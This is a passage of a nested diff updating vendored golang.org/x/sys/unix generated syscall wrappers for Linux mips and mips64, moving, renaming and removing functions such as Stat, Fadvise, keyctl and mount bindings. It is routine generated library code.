-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_FADVISE64, uintptr(fd), 0, uintptr(offset>>32), uintptr(offset), uintptr(length>>32), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1529,7 +114,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1537,7 +122,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1545,7 +130,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1553,7 +138,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1619,6 +204,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
- r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
-@@ -1641,8 +246,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1651,8 +257,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1711,9 +318,9 @@ func Shutdown(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int64(int64(r0)<<32 | int64(r1))
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1747,6 +354,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -1957,6 +574,21 @@ func Iopl(level int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1978,13 +610,13 @@ func Time(t *Time_t) (tt Time_t, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1993,8 +625,13 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2003,13 +640,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func Lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2018,13 +655,23 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Utime(path string, buf *Utimbuf) (err error) {
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2033,15 +680,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2060,8 +705,10 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe() (p1 int, p2 int, err error) {
-+ r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ p1 = int(r0)
-+ p2 = int(r1)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go
-index 4fde3ef0..424fb7fb 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,mips64 syscall_linux.go syscall_linux_mips64x.go
-+// go run mksyscall.go -tags linux,mips64 syscall_linux.go syscall_linux_mips64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mips64
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
